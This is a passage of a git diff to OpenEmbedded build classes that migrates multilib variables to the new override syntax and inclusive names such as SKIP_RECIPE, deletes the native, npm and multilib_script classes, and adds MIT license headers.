@@ -65,24 +75,25 @@ python multilib_virtclass_handler () {
override = ":virtclass-multilib-" + variant
- blacklist = e.data.getVarFlag('PNBLACKLIST', e.data.getVar('PN'))
- if blacklist:
+ skip_msg = e.data.getVarFlag('SKIP_RECIPE', e.data.getVar('PN'))
+ if skip_msg:
pn_new = variant + "-" + e.data.getVar('PN')
- if not e.data.getVarFlag('PNBLACKLIST', pn_new):
- e.data.setVarFlag('PNBLACKLIST', pn_new, blacklist)
+ if not e.data.getVarFlag('SKIP_RECIPE', pn_new):
+ e.data.setVarFlag('SKIP_RECIPE', pn_new, skip_msg)
e.data.setVar("MLPREFIX", variant + "-")
e.data.setVar("PN", variant + "-" + e.data.getVar("PN", False))
e.data.setVar("OVERRIDES", e.data.getVar("OVERRIDES", False) + override)
- # Expand WHITELIST_GPL-3.0 with multilib prefix
- pkgs = e.data.getVar("WHITELIST_GPL-3.0")
- for pkg in pkgs.split():
- pkgs += " " + variant + "-" + pkg
- e.data.setVar("WHITELIST_GPL-3.0", pkgs)
+ # Expand INCOMPATIBLE_LICENSE_EXCEPTIONS with multilib prefix
+ pkgs = e.data.getVar("INCOMPATIBLE_LICENSE_EXCEPTIONS")
+ if pkgs:
+ for pkg in pkgs.split():
+ pkgs += " " + variant + "-" + pkg
+ e.data.setVar("INCOMPATIBLE_LICENSE_EXCEPTIONS", pkgs)
# DEFAULTTUNE can change TARGET_ARCH override so expand this now before update_data
- newtune = e.data.getVar("DEFAULTTUNE_" + "virtclass-multilib-" + variant, False)
+ newtune = e.data.getVar("DEFAULTTUNE:" + "virtclass-multilib-" + variant, False)
if newtune:
e.data.setVar("DEFAULTTUNE", newtune)
}
@@ -92,6 +103,10 @@ multilib_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
python __anonymous () {
if bb.data.inherits_class('image', d):
+ # set rpm preferred file color for 32-bit multilib image
+ if d.getVar("SITEINFO_BITS") == "32":
+ d.setVar("RPM_PREFER_ELF_ARCH", "1")
+
variant = d.getVar("BBEXTENDVARIANT")
import oe.classextend
@@ -105,7 +120,6 @@ python __anonymous () {
d.setVar("LINGUAS_INSTALL", "")
# FIXME, we need to map this to something, not delete it!
d.setVar("PACKAGE_INSTALL_ATTEMPTONLY", "")
- bb.build.deltask('do_populate_sdk', d)
bb.build.deltask('do_populate_sdk_ext', d)
return
}
@@ -126,6 +140,7 @@ python multilib_virtclass_handler_postkeyexp () {
return
clsextend.map_depends_variable("DEPENDS")
+ clsextend.map_depends_variable("PACKAGE_WRITE_DEPS")
clsextend.map_variable("PROVIDES")
if bb.data.inherits_class('cross-canadian', d):
@@ -177,7 +192,7 @@ def reset_alternative_priority(d):
bb.debug(1, '%s: Setting ALTERNATIVE_PRIORITY_%s to %s' % (pkg, pkg, reset_priority))
d.setVar('ALTERNATIVE_PRIORITY_%s' % pkg, reset_priority)
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
# ALTERNATIVE_PRIORITY_pkg[tool] = priority
alt_priority_pkg_name = d.getVarFlag('ALTERNATIVE_PRIORITY_%s' % pkg, alt_name)
# ALTERNATIVE_PRIORITY[tool] = priority
@@ -192,12 +207,12 @@ def reset_alternative_priority(d):
bb.debug(1, '%s: Setting ALTERNATIVE_PRIORITY[%s] to %s' % (pkg, alt_name, reset_priority))
d.setVarFlag('ALTERNATIVE_PRIORITY', alt_name, reset_priority)
-PACKAGEFUNCS_append = " do_package_qa_multilib"
+PACKAGEFUNCS:append = " do_package_qa_multilib"
python do_package_qa_multilib() {
def check_mlprefix(pkg, var, mlprefix):
- values = bb.utils.explode_deps(d.getVar('%s_%s' % (var, pkg)) or d.getVar(var) or "")
+ values = bb.utils.explode_deps(d.getVar('%s:%s' % (var, pkg)) or d.getVar(var) or "")
candidates = []
for i in values:
if i.startswith('virtual/'):
@@ -211,7 +226,7 @@ python do_package_qa_multilib() {
if len(candidates) > 0:
msg = "%s package %s - suspicious values '%s' in %s" \
% (d.getVar('PN'), pkg, ' '.join(candidates), var)
- package_qa_handle_error("multilib", msg, d)
+ oe.qa.handle_error("multilib", msg, d)
ml = d.getVar('MLPREFIX')
if not ml:
@@ -229,4 +244,5 @@ python do_package_qa_multilib() {
check_mlprefix(pkg, 'RSUGGESTS', ml)
check_mlprefix(pkg, 'RREPLACES', ml)
check_mlprefix(pkg, 'RCONFLICTS', ml)
+ oe.qa.exit_if_errors(d)
}
diff --git a/meta/classes/multilib_global.bbclass b/meta/classes/multilib_global.bbclass
index 98f65c8aae..6095d278dd 100644
--- a/meta/classes/multilib_global.bbclass
+++ b/meta/classes/multilib_global.bbclass
@@ -1,6 +1,13 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
def preferred_ml_updates(d):
- # If any PREFERRED_PROVIDER or PREFERRED_VERSION are set,
- # we need to mirror these variables in the multilib case;
+ # If any of PREFERRED_PROVIDER, PREFERRED_RPROVIDER, REQUIRED_VERSION
+ # or PREFERRED_VERSION are set, we need to mirror these variables in
+ # the multilib case;
multilibs = d.getVar('MULTILIBS') or ""
if not multilibs:
return
@@ -11,43 +18,54 @@ def preferred_ml_updates(d):
if len(eext) > 1 and eext[0] == 'multilib':
prefixes.append(eext[1])
- versions = []
+ required_versions = []
+ preferred_versions = []
providers = []
rproviders = []
for v in d.keys():
+ if v.startswith("REQUIRED_VERSION_"):
+ required_versions.append(v)
if v.startswith("PREFERRED_VERSION_"):
- versions.append(v)
+ preferred_versions.append(v)
if v.startswith("PREFERRED_PROVIDER_"):
providers.append(v)
if v.startswith("PREFERRED_RPROVIDER_"):
rproviders.append(v)
- for v in versions:
- val = d.getVar(v, False)
- pkg = v.replace("PREFERRED_VERSION_", "")
- if pkg.endswith("-native") or "-crosssdk-" in pkg or pkg.startswith(("nativesdk-", "virtual/nativesdk-")):
- continue
- if '-cross-' in pkg and '${' in pkg:
+ def sort_versions(versions, keyword):
+ version_str = "_".join([keyword, "VERSION", ""])
+ for v in versions:
+ val = d.getVar(v, False)
+ pkg = v.replace(version_str, "")
+ if pkg.endswith("-native") or "-crosssdk-" in pkg or pkg.startswith(("nativesdk-", "virtual/nativesdk-")):
+ continue
+ if '-cross-' in pkg and '${' in pkg:
+ for p in prefixes:
+ localdata = bb.data.createCopy(d)
+ override = ":virtclass-multilib-" + p
+ localdata.setVar("OVERRIDES", localdata.getVar("OVERRIDES", False) + override)
+ if "-canadian-" in pkg:
+ newtune = localdata.getVar("DEFAULTTUNE:" + "virtclass-multilib-" + p, False)
+ if newtune:
+ localdata.setVar("DEFAULTTUNE", newtune)
+ newname = localdata.expand(v)
+ else:
+ newname = localdata.expand(v).replace(version_str, version_str + p + '-')
+ if newname != v:
+ newval = localdata.expand(val)
+ d.setVar(newname, newval)
+ # Avoid future variable key expansion
+ vexp = d.expand(v)
+ if v != vexp and d.getVar(v, False):
+ d.renameVar(v, vexp)
+ continue
for p in prefixes:
- localdata = bb.data.createCopy(d)
- override = ":virtclass-multilib-" + p
- localdata.setVar("OVERRIDES", localdata.getVar("OVERRIDES", False) + override)
- if "-canadian-" in pkg:
- newname = localdata.expand(v)
- else:
- newname = localdata.expand(v).replace("PREFERRED_VERSION_", "PREFERRED_VERSION_" + p + '-')
- if newname != v:
- newval = localdata.expand(val)
- d.setVar(newname, newval)
- # Avoid future variable key expansion
- vexp = d.expand(v)
- if v != vexp and d.getVar(v, False):
- d.renameVar(v, vexp)
- continue
- for p in prefixes:
- newname = "PREFERRED_VERSION_" + p + "-" + pkg
- if not d.getVar(newname, False):
- d.setVar(newname, val)
+ newname = version_str + p + "-" + pkg
+ if not d.getVar(newname, False):
+ d.setVar(newname, val)
+
+ sort_versions(required_versions, "REQUIRED")
+ sort_versions(preferred_versions, "PREFERRED")
for prov in providers:
val = d.getVar(prov, False)
@@ -128,14 +146,14 @@ def preferred_ml_updates(d):
prov = prov.replace("virtual/", "")
return "virtual/" + prefix + "-" + prov
- mp = (d.getVar("MULTI_PROVIDER_WHITELIST") or "").split()
+ mp = (d.getVar("BB_MULTI_PROVIDER_ALLOWED") or "").split()
extramp = []
for p in mp:
if p.endswith("-native") or "-crosssdk-" in p or p.startswith(("nativesdk-", "virtual/nativesdk-")) or 'cross-canadian' in p:
continue
for pref in prefixes:
extramp.append(translate_provide(pref, p))
- d.setVar("MULTI_PROVIDER_WHITELIST", " ".join(mp + extramp))
+ d.setVar("BB_MULTI_PROVIDER_ALLOWED", " ".join(mp + extramp))
abisafe = (d.getVar("SIGGEN_EXCLUDERECIPES_ABISAFE") or "").split()
extras = []
@@ -155,8 +173,8 @@ def preferred_ml_updates(d):
python multilib_virtclass_handler_vendor () {
if isinstance(e, bb.event.ConfigParsed):
for v in e.data.getVar("MULTILIB_VARIANTS").split():
- if e.data.getVar("TARGET_VENDOR_virtclass-multilib-" + v, False) is None:
- e.data.setVar("TARGET_VENDOR_virtclass-multilib-" + v, e.data.getVar("TARGET_VENDOR", False) + "ml" + v)
+ if e.data.getVar("TARGET_VENDOR:virtclass-multilib-" + v, False) is None:
+ e.data.setVar("TARGET_VENDOR:virtclass-multilib-" + v, e.data.getVar("TARGET_VENDOR", False) + "ml" + v)
preferred_ml_updates(e.data)
}
addhandler multilib_virtclass_handler_vendor
@@ -177,6 +195,7 @@ python multilib_virtclass_handler_global () {
# from a copy of the datastore
localdata = bb.data.createCopy(d)
localdata.delVar("KERNEL_VERSION")
+ localdata.delVar("KERNEL_VERSION_PKG_NAME")
variants = (e.data.getVar("MULTILIB_VARIANTS") or "").split()
@@ -198,13 +217,13 @@ python multilib_virtclass_handler_global () {
if rprovs.strip():
e.data.setVar("RPROVIDES", rprovs)
- # Process RPROVIDES_${PN}...
+ # Process RPROVIDES:${PN}...
for pkg in (e.data.getVar("PACKAGES") or "").split():
- origrprovs = rprovs = localdata.getVar("RPROVIDES_%s" % pkg) or ""
+ origrprovs = rprovs = localdata.getVar("RPROVIDES:%s" % pkg) or ""
for clsextend in clsextends:
- rprovs = rprovs + " " + clsextend.map_variable("RPROVIDES_%s" % pkg, setvar=False)
+ rprovs = rprovs + " " + clsextend.map_variable("RPROVIDES:%s" % pkg, setvar=False)
rprovs = rprovs + " " + clsextend.extname + "-" + pkg
- e.data.setVar("RPROVIDES_%s" % pkg, rprovs)
+ e.data.setVar("RPROVIDES:%s" % pkg, rprovs)
}
addhandler multilib_virtclass_handler_global
diff --git a/meta/classes/multilib_script.bbclass b/meta/classes/multilib_script.bbclass
deleted file mode 100644
index b11efc1ec5..0000000000
--- a/meta/classes/multilib_script.bbclass
+++ /dev/null
@@ -1,34 +0,0 @@
-#
-# Recipe needs to set MULTILIB_SCRIPTS in the form <pkgname>:<scriptname>, e.g.
-# MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/file1 ${PN}:${base_bindir}/file2"
-# to indicate which script files to process from which packages.
-#
-
-inherit update-alternatives
-
-MULTILIB_SUFFIX = "${@d.getVar('base_libdir',1).split('/')[-1]}"
-
-PACKAGE_PREPROCESS_FUNCS += "multilibscript_rename"
-
-multilibscript_rename() {
- :
-}
-
-python () {
- # Do nothing if multilib isn't being used
- if not d.getVar("MULTILIB_VARIANTS"):
- return
- # Do nothing for native/cross
- if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d):
- return
-
- for entry in (d.getVar("MULTILIB_SCRIPTS", False) or "").split():
- pkg, script = entry.split(":")
- epkg = d.expand(pkg)
- scriptname = os.path.basename(script)
- d.appendVar("ALTERNATIVE_" + epkg, " " + scriptname + " ")
- d.setVarFlag("ALTERNATIVE_LINK_NAME", scriptname, script)
- d.setVarFlag("ALTERNATIVE_TARGET", scriptname, script + "-${MULTILIB_SUFFIX}")
- d.appendVar("multilibscript_rename", "\n mv ${PKGD}" + script + " ${PKGD}" + script + "-${MULTILIB_SUFFIX}")
- d.appendVar("FILES_" + epkg, " " + script + "-${MULTILIB_SUFFIX}")
-}
diff --git a/meta/classes/native.bbclass b/meta/classes/native.bbclass
deleted file mode 100644
index 08106e345c..0000000000
--- a/meta/classes/native.bbclass
+++ /dev/null
@@ -1,198 +0,0 @@
-# We want native packages to be relocatable
-inherit relocatable
-
-# Native packages are built indirectly via dependency,
-# no need for them to be a direct target of 'world'
-EXCLUDE_FROM_WORLD = "1"
-
-PACKAGES = ""
-PACKAGES_class-native = ""
-PACKAGES_DYNAMIC = ""
-PACKAGES_DYNAMIC_class-native = ""
-PACKAGE_ARCH = "${BUILD_ARCH}"
-
-# used by cmake class
-OECMAKE_RPATH = "${libdir}"
-OECMAKE_RPATH_class-native = "${libdir}"
-
-# When this class has packaging enabled, setting
-# RPROVIDES becomes unnecessary.
-RPROVIDES = "${PN}"
-
-TARGET_ARCH = "${BUILD_ARCH}"
-TARGET_OS = "${BUILD_OS}"
-TARGET_VENDOR = "${BUILD_VENDOR}"
-TARGET_PREFIX = "${BUILD_PREFIX}"
-TARGET_CC_ARCH = "${BUILD_CC_ARCH}"
-TARGET_LD_ARCH = "${BUILD_LD_ARCH}"
-TARGET_AS_ARCH = "${BUILD_AS_ARCH}"
-TARGET_CPPFLAGS = "${BUILD_CPPFLAGS}"
-TARGET_CFLAGS = "${BUILD_CFLAGS}"
-TARGET_CXXFLAGS = "${BUILD_CXXFLAGS}"
-TARGET_LDFLAGS = "${BUILD_LDFLAGS}"
-TARGET_FPU = ""
-
-HOST_ARCH = "${BUILD_ARCH}"
-HOST_OS = "${BUILD_OS}"
-HOST_VENDOR = "${BUILD_VENDOR}"
-HOST_PREFIX = "${BUILD_PREFIX}"
-HOST_CC_ARCH = "${BUILD_CC_ARCH}"
-HOST_LD_ARCH = "${BUILD_LD_ARCH}"
-HOST_AS_ARCH = "${BUILD_AS_ARCH}"
-
-CPPFLAGS = "${BUILD_CPPFLAGS}"
-CFLAGS = "${BUILD_CFLAGS}"
-CXXFLAGS = "${BUILD_CXXFLAGS}"
-LDFLAGS = "${BUILD_LDFLAGS}"
-
-STAGING_BINDIR = "${STAGING_BINDIR_NATIVE}"
-STAGING_BINDIR_CROSS = "${STAGING_BINDIR_NATIVE}"
-
-# native pkg doesn't need the TOOLCHAIN_OPTIONS.
-TOOLCHAIN_OPTIONS = ""
-
-# Don't build ptest natively
-PTEST_ENABLED = "0"
-
-# Don't use site files for native builds
-export CONFIG_SITE = "${COREBASE}/meta/site/native"
-
-# set the compiler as well. It could have been set to something else
-export CC = "${BUILD_CC}"
-export CXX = "${BUILD_CXX}"
-export FC = "${BUILD_FC}"
-export CPP = "${BUILD_CPP}"
-export LD = "${BUILD_LD}"
-export CCLD = "${BUILD_CCLD}"
-export AR = "${BUILD_AR}"
-export AS = "${BUILD_AS}"
-export RANLIB = "${BUILD_RANLIB}"
-export STRIP = "${BUILD_STRIP}"
-export NM = "${BUILD_NM}"
-
-# Path prefixes
-base_prefix = "${STAGING_DIR_NATIVE}"
-prefix = "${STAGING_DIR_NATIVE}${prefix_native}"
-exec_prefix = "${STAGING_DIR_NATIVE}${prefix_native}"
-
-bindir = "${STAGING_BINDIR_NATIVE}"
-sbindir = "${STAGING_SBINDIR_NATIVE}"
-base_libdir = "${STAGING_LIBDIR_NATIVE}"
-libdir = "${STAGING_LIBDIR_NATIVE}"
-includedir = "${STAGING_INCDIR_NATIVE}"
-sysconfdir = "${STAGING_ETCDIR_NATIVE}"
-datadir = "${STAGING_DATADIR_NATIVE}"
-
-baselib = "lib"
-
-export lt_cv_sys_lib_dlsearch_path_spec = "${libdir} ${base_libdir} /lib /lib64 /usr/lib /usr/lib64"
-
-NATIVE_PACKAGE_PATH_SUFFIX ?= ""
-bindir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
-sbindir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
-base_libdir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
-libdir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
-libexecdir .= "${NATIVE_PACKAGE_PATH_SUFFIX}"
-
-do_populate_sysroot[sstate-inputdirs] = "${SYSROOT_DESTDIR}/${STAGING_DIR_NATIVE}/"
-do_populate_sysroot[sstate-outputdirs] = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/${PN}"
-
-# Since we actually install these into situ there is no staging prefix
-STAGING_DIR_HOST = ""
-STAGING_DIR_TARGET = ""
-PKG_CONFIG_DIR = "${libdir}/pkgconfig"
-
-EXTRA_NATIVE_PKGCONFIG_PATH ?= ""
-PKG_CONFIG_PATH .= "${EXTRA_NATIVE_PKGCONFIG_PATH}"
-PKG_CONFIG_SYSROOT_DIR = ""
-PKG_CONFIG_SYSTEM_LIBRARY_PATH[unexport] = "1"
-PKG_CONFIG_SYSTEM_INCLUDE_PATH[unexport] = "1"
-
-# we dont want libc-*libc to kick in for native recipes
-LIBCOVERRIDE = ""
-CLASSOVERRIDE = "class-native"
-MACHINEOVERRIDES = ""
-MACHINE_FEATURES = ""
-
-PATH_prepend = "${COREBASE}/scripts/native-intercept:"
-
-# This class encodes staging paths into its scripts data so can only be
-# reused if we manipulate the paths.
-SSTATE_SCAN_CMD ?= "${SSTATE_SCAN_CMD_NATIVE}"
-
-# No strip sysroot when DEBUG_BUILD is enabled
-INHIBIT_SYSROOT_STRIP ?= "${@oe.utils.vartrue('DEBUG_BUILD', '1', '', d)}"
-
-python native_virtclass_handler () {
- pn = e.data.getVar("PN")
- if not pn.endswith("-native"):
- return
-
- # Set features here to prevent appends and distro features backfill
- # from modifying native distro features
- features = set(d.getVar("DISTRO_FEATURES_NATIVE").split())
- filtered = set(bb.utils.filter("DISTRO_FEATURES", d.getVar("DISTRO_FEATURES_FILTER_NATIVE"), d).split())
- d.setVar("DISTRO_FEATURES", " ".join(sorted(features | filtered)))
-
- classextend = e.data.getVar('BBCLASSEXTEND') or ""
- if "native" not in classextend:
- return
-
- def map_dependencies(varname, d, suffix = ""):
- if suffix:
- varname = varname + "_" + suffix
- deps = d.getVar(varname)
- if not deps:
- return
- deps = bb.utils.explode_deps(deps)
- newdeps = []
- for dep in deps:
- if dep == pn:
- continue
- elif "-cross-" in dep:
- newdeps.append(dep.replace("-cross", "-native"))
- elif not dep.endswith("-native"):
- newdeps.append(dep + "-native")
- else:
- newdeps.append(dep)
- d.setVar(varname, " ".join(newdeps))
-
- map_dependencies("DEPENDS", e.data)
- for pkg in [e.data.getVar("PN"), "", "${PN}"]:
- map_dependencies("RDEPENDS", e.data, pkg)
- map_dependencies("RRECOMMENDS", e.data, pkg)
- map_dependencies("RSUGGESTS", e.data, pkg)
- map_dependencies("RPROVIDES", e.data, pkg)
- map_dependencies("RREPLACES", e.data, pkg)
-
- provides = e.data.getVar("PROVIDES")
- nprovides = []
- for prov in provides.split():
- if prov.find(pn) != -1:
- nprovides.append(prov)
- elif not prov.endswith("-native"):
- nprovides.append(prov.replace(prov, prov + "-native"))
- else:
- nprovides.append(prov)
- e.data.setVar("PROVIDES", ' '.join(nprovides))
-
-
-}
-
-addhandler native_virtclass_handler
-native_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
-
-python do_addto_recipe_sysroot () {
- bb.build.exec_func("extend_recipe_sysroot", d)
-}
-addtask addto_recipe_sysroot after do_populate_sysroot
-do_addto_recipe_sysroot[deptask] = "do_populate_sysroot"
-
-inherit nopackages
-
-do_packagedata[stamp-extra-info] = ""
-
-USE_NLS = "no"
-
-RECIPERDEPTASK = "do_populate_sysroot"
-do_populate_sysroot[rdeptask] = "${RECIPERDEPTASK}"
diff --git a/meta/classes/npm.bbclass b/meta/classes/npm.bbclass
deleted file mode 100644
index 068032a1e5..0000000000
--- a/meta/classes/npm.bbclass
+++ /dev/null
@@ -1,307 +0,0 @@
-# Copyright (C) 2020 Savoir-Faire Linux
-#
-# SPDX-License-Identifier: GPL-2.0-only
-#
-# This bbclass builds and installs an npm package to the target. The package
-# sources files should be fetched in the calling recipe by using the SRC_URI
-# variable. The ${S} variable should be updated depending of your fetcher.
-#
-# Usage:
-# SRC_URI = "..."
-# inherit npm
-#
-# Optional variables:
-# NPM_ARCH:
-# Override the auto generated npm architecture.
-#
-# NPM_INSTALL_DEV:
-# Set to 1 to also install devDependencies.
-
-DEPENDS_prepend = "nodejs-native "
-RDEPENDS_${PN}_prepend = "nodejs "
-
-NPM_INSTALL_DEV ?= "0"
-
-def npm_target_arch_map(target_arch):
- """Maps arch names to npm arch names"""
- import re
- if re.match("p(pc|owerpc)(|64)", target_arch):
- return "ppc"
- elif re.match("i.86$", target_arch):
- return "ia32"
- elif re.match("x86_64$", target_arch):
- return "x64"
- elif re.match("arm64$", target_arch):
- return "arm"
- return target_arch
-
-NPM_ARCH ?= "${@npm_target_arch_map(d.getVar("TARGET_ARCH"))}"
-
-NPM_PACKAGE = "${WORKDIR}/npm-package"
-NPM_CACHE = "${WORKDIR}/npm-cache"
-NPM_BUILD = "${WORKDIR}/npm-build"
-
-def npm_global_configs(d):
- """Get the npm global configuration"""
- configs = []
- # Ensure no network access is done
- configs.append(("offline", "true"))
- configs.append(("proxy", "http://invalid"))
- # Configure the cache directory
- configs.append(("cache", d.getVar("NPM_CACHE")))
- return configs
-
-def npm_pack(env, srcdir, workdir):
- """Run 'npm pack' on a specified directory"""
- import shlex
- cmd = "npm pack %s" % shlex.quote(srcdir)
- configs = [("ignore-scripts", "true")]
- tarball = env.run(cmd, configs=configs, workdir=workdir).strip("\n")
- return os.path.join(workdir, tarball)
-
-python npm_do_configure() {
- """
- Step one: configure the npm cache and the main npm package
-
- Every dependencies have been fetched and patched in the source directory.
- They have to be packed (this remove unneeded files) and added to the npm
- cache to be available for the next step.
-
- The main package and its associated manifest file and shrinkwrap file have
- to be configured to take into account these cached dependencies.
- """
- import base64
- import copy
- import json
- import re
- import shlex
- import tempfile
- from bb.fetch2.npm import NpmEnvironment
- from bb.fetch2.npm import npm_unpack
- from bb.fetch2.npmsw import foreach_dependencies
- from bb.progress import OutOfProgressHandler
-
- bb.utils.remove(d.getVar("NPM_CACHE"), recurse=True)
- bb.utils.remove(d.getVar("NPM_PACKAGE"), recurse=True)
-
- env = NpmEnvironment(d, configs=npm_global_configs(d))
-
- def _npm_cache_add(tarball):
- """Run 'npm cache add' for a specified tarball"""
- cmd = "npm cache add %s" % shlex.quote(tarball)
- env.run(cmd)
-
- def _npm_integrity(tarball):
- """Return the npm integrity of a specified tarball"""
- sha512 = bb.utils.sha512_file(tarball)
- return "sha512-" + base64.b64encode(bytes.fromhex(sha512)).decode()
-
- def _npm_version(tarball):
- """Return the version of a specified tarball"""
- regex = r"-(\d+\.\d+\.\d+(-.*)?(\+.*)?)\.tgz"
- return re.search(regex, tarball).group(1)
-
- def _npmsw_dependency_dict(orig, deptree):
- """
- Return the sub dictionary in the 'orig' dictionary corresponding to the
- 'deptree' dependency tree. This function follows the shrinkwrap file
- format.
- """
- ptr = orig
- for dep in deptree:
- if "dependencies" not in ptr:
- ptr["dependencies"] = {}
- ptr = ptr["dependencies"]
- if dep not in ptr:
- ptr[dep] = {}
- ptr = ptr[dep]
- return ptr
-
- # Manage the manifest file and shrinkwrap files
- orig_manifest_file = d.expand("${S}/package.json")
- orig_shrinkwrap_file = d.expand("${S}/npm-shrinkwrap.json")
- cached_manifest_file = d.expand("${NPM_PACKAGE}/package.json")
- cached_shrinkwrap_file = d.expand("${NPM_PACKAGE}/npm-shrinkwrap.json")
-
- with open(orig_manifest_file, "r") as f:
- orig_manifest = json.load(f)
-
- cached_manifest = copy.deepcopy(orig_manifest)
- cached_manifest.pop("dependencies", None)
- cached_manifest.pop("devDependencies", None)
-
- with open(orig_shrinkwrap_file, "r") as f:
- orig_shrinkwrap = json.load(f)
-
- cached_shrinkwrap = copy.deepcopy(orig_shrinkwrap)
- cached_shrinkwrap.pop("dependencies", None)
-
- # Manage the dependencies
- progress = OutOfProgressHandler(d, r"^(\d+)/(\d+)$")
- progress_total = 1 # also count the main package
- progress_done = 0
-
- def _count_dependency(name, params, deptree):
- nonlocal progress_total
- progress_total += 1
-
- def _cache_dependency(name, params, deptree):
- destsubdirs = [os.path.join("node_modules", dep) for dep in deptree]
- destsuffix = os.path.join(*destsubdirs)
- with tempfile.TemporaryDirectory() as tmpdir:
- # Add the dependency to the npm cache
- destdir = os.path.join(d.getVar("S"), destsuffix)
- tarball = npm_pack(env, destdir, tmpdir)
- _npm_cache_add(tarball)
- # Add its signature to the cached shrinkwrap
- dep = _npmsw_dependency_dict(cached_shrinkwrap, deptree)
- dep["version"] = _npm_version(tarball)
- dep["integrity"] = _npm_integrity(tarball)
- if params.get("dev", False):
- dep["dev"] = True
- # Display progress
- nonlocal progress_done
- progress_done += 1
- progress.write("%d/%d" % (progress_done, progress_total))
-
- dev = bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False)
- foreach_dependencies(orig_shrinkwrap, _count_dependency, dev)
- foreach_dependencies(orig_shrinkwrap, _cache_dependency, dev)
-
- # Configure the main package
- with tempfile.TemporaryDirectory() as tmpdir:
- tarball = npm_pack(env, d.getVar("S"), tmpdir)
- npm_unpack(tarball, d.getVar("NPM_PACKAGE"), d)
-
- # Configure the cached manifest file and cached shrinkwrap file
- def _update_manifest(depkey):
- for name in orig_manifest.get(depkey, {}):
- version = cached_shrinkwrap["dependencies"][name]["version"]
- if depkey not in cached_manifest:
- cached_manifest[depkey] = {}
- cached_manifest[depkey][name] = version
-
- _update_manifest("dependencies")
-
- if dev:
- _update_manifest("devDependencies")
-
- with open(cached_manifest_file, "w") as f:
- json.dump(cached_manifest, f, indent=2)
-
- with open(cached_shrinkwrap_file, "w") as f:
- json.dump(cached_shrinkwrap, f, indent=2)
-}
-
-python npm_do_compile() {
- """
- Step two: install the npm package
-
- Use the configured main package and the cached dependencies to run the
- installation process. The installation is done in a directory which is
- not the destination directory yet.
-
- A combination of 'npm pack' and 'npm install' is used to ensure that the
- installed files are actual copies instead of symbolic links (which is the
- default npm behavior).
- """
- import shlex
- import tempfile
- from bb.fetch2.npm import NpmEnvironment
-
- bb.utils.remove(d.getVar("NPM_BUILD"), recurse=True)
-
- env = NpmEnvironment(d, configs=npm_global_configs(d))
-
- dev = bb.utils.to_boolean(d.getVar("NPM_INSTALL_DEV"), False)
-
- with tempfile.TemporaryDirectory() as tmpdir:
- args = []
- configs = []
-
- if dev:
- configs.append(("also", "development"))
- else:
- configs.append(("only", "production"))
-
- # Report as many logs as possible for debugging purpose
- configs.append(("loglevel", "silly"))
-
- # Configure the installation to be done globally in the build directory
- configs.append(("global", "true"))
- configs.append(("prefix", d.getVar("NPM_BUILD")))
-
- # Add node-gyp configuration
- configs.append(("arch", d.getVar("NPM_ARCH")))
- configs.append(("release", "true"))
- sysroot = d.getVar("RECIPE_SYSROOT_NATIVE")
- nodedir = os.path.join(sysroot, d.getVar("prefix_native").strip("/"))
- configs.append(("nodedir", nodedir))
- bindir = os.path.join(sysroot, d.getVar("bindir_native").strip("/"))
- pythondir = os.path.join(bindir, "python-native", "python")
- configs.append(("python", pythondir))
-
- # Add node-pre-gyp configuration
- args.append(("target_arch", d.getVar("NPM_ARCH")))
- args.append(("build-from-source", "true"))
-
- # Pack and install the main package
- tarball = npm_pack(env, d.getVar("NPM_PACKAGE"), tmpdir)
- env.run("npm install %s" % shlex.quote(tarball), args=args, configs=configs)
-}
-
-npm_do_install() {
- # Step three: final install
- #
- # The previous installation have to be filtered to remove some extra files.
-
- rm -rf ${D}
-
- # Copy the entire lib and bin directories
- install -d ${D}/${nonarch_libdir}
- cp --no-preserve=ownership --recursive ${NPM_BUILD}/lib/. ${D}/${nonarch_libdir}
-
- if [ -d "${NPM_BUILD}/bin" ]
- then
- install -d ${D}/${bindir}
- cp --no-preserve=ownership --recursive ${NPM_BUILD}/bin/. ${D}/${bindir}
- fi
-
- # If the package (or its dependencies) uses node-gyp to build native addons,
- # object files, static libraries or other temporary files can be hidden in
- # the lib directory. To reduce the package size and to avoid QA issues
- # (staticdev with static library files) these files must be removed.
- local GYP_REGEX=".*/build/Release/[^/]*.node"
-
- # Remove any node-gyp directory in ${D} to remove temporary build files
- for GYP_D_FILE in $(find ${D} -regex "${GYP_REGEX}")
- do
- local GYP_D_DIR=${GYP_D_FILE%/Release/*}
-
- rm --recursive --force ${GYP_D_DIR}
- done
-
- # Copy only the node-gyp release files
- for GYP_B_FILE in $(find ${NPM_BUILD} -regex "${GYP_REGEX}")
- do
- local GYP_D_FILE=${D}/${prefix}/${GYP_B_FILE#${NPM_BUILD}}
-
- install -d ${GYP_D_FILE%/*}
- install -m 755 ${GYP_B_FILE} ${GYP_D_FILE}
- done
-
- # Remove the shrinkwrap file which does not need to be packed
- rm -f ${D}/${nonarch_libdir}/node_modules/*/npm-shrinkwrap.json
- rm -f ${D}/${nonarch_libdir}/node_modules/@*/*/npm-shrinkwrap.json
-
- # node(1) is using /usr/lib/node as default include directory and npm(1) is
- # using /usr/lib/node_modules as install directory. Let's make both happy.
- ln -fs node_modules ${D}/${nonarch_libdir}/node
-}
-
-FILES_${PN} += " \
- ${bindir} \
- ${nonarch_libdir} \
-"
-
-EXPORT_FUNCTIONS do_configure do_compile do_install
diff --git a/meta/classes/oelint.bbclass b/meta/classes/oelint.bbclass
index 2589d34059..458a25ecc3 100644
--- a/meta/classes/oelint.bbclass
+++ b/meta/classes/oelint.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
addtask lint before do_build
do_lint[nostamp] = "1"
python do_lint() {
diff --git a/meta/classes/own-mirrors.bbclass b/meta/classes/own-mirrors.bbclass
index a777835138..36c7f8e3f3 100644
--- a/meta/classes/own-mirrors.bbclass
+++ b/meta/classes/own-mirrors.bbclass
@@ -1,13 +1,22 @@
